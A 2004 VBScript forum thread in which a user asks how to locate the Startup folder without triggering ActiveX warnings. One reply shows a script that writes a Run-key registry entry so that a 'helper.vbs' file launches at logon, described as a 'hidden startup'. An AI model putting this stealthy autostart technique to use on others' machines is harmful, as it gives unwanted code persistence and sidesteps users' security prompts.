Photo Gallery Member List Search Calendars FAQ Ticket List Log Out


Detect STARTUP folder with NO WSH ?

 
Logged in as: Guest
arrSession:exec spGetSession 2,2,1668
 Active Users: There are 0 members and 0 guests.
 Users viewing this topic: none
 

 

 
  
  Printable Version
All Forums >> [Scripting] >> WSH & Client Side VBScript >> Detect STARTUP folder with NO WSH ?
  Do you like VisualBasicScript.com? Link to us and help spread the word about our forum. Thanks!
Page: [1]
Login
Message << Older Topic   Newer Topic >>
 Detect STARTUP folder with NO WSH ? - 12/7/2004 6:41:04 PM   
  x231

 

Posts: 1
Score: 0
Joined: 12/7/2004
From:
Status: offline
Can you show me how to Detect startup folder using:

1) ENVIRONMENT variables
2) Registry

Using "VBScript" ? and without it triggering ACTIVEX as
a lot of things like Wsh etc. trigger ActiveX.

Whereas opening an ADODB connection object does NOT.
 
 
Post #: 1
 
 Re: Detect STARTUP folder with NO WSH ? - 12/7/2004 6:47:39 PM   
  snipah1

 

Posts: 4
Score: 0
Joined: 12/7/2004
From:
Status: offline
1) Open the DOS Prompt and use the SET command
2) HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "c:\winnt\system32\cmd.exe"

bKey = WshShell.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\")
WScript.Echo WshShell.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

--------------------------------------------------------------------------------
Nothing is easy to the unwilling.

(in reply to x231)
 
 
Post #: 2
 
 Re: Detect STARTUP folder with NO WSH ? - 12/7/2004 6:49:27 PM   
  trojan1

 

Posts: 2
Score: 0
Joined: 12/7/2004
From:
Status: offline
Dim WSHShell

On Error Resume Next

set WSHShell = wscript.createobject("wscript.shell")

root = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"
key = "helper.vbs"
valueX = "c:\windows\helper.vbs"


WshShell.RegWrite Root & Key, ValueX, "REG_SZ"

this is the location for the "hidden startup". but change as you please...

TR

(in reply to x231)
 
 
Post #: 3
 
 
 
  

If you found our site useful please link to us <a href="http://www.visualbasicscript.com">VisualBasicScript.com</a>.
All Forums >> [Scripting] >> WSH & Client Side VBScript >> Detect STARTUP folder with NO WSH ? Page: [1]
Jump to:





New Messages No New Messages
Hot Topic w/ New Messages Hot Topic w/o New Messages
Locked w/ New Messages Locked w/o New Messages
 Post New Thread
 Reply to Message
 Post New Poll
 Submit Vote
 Delete My Own Post
 Delete My Own Thread
 Rate Posts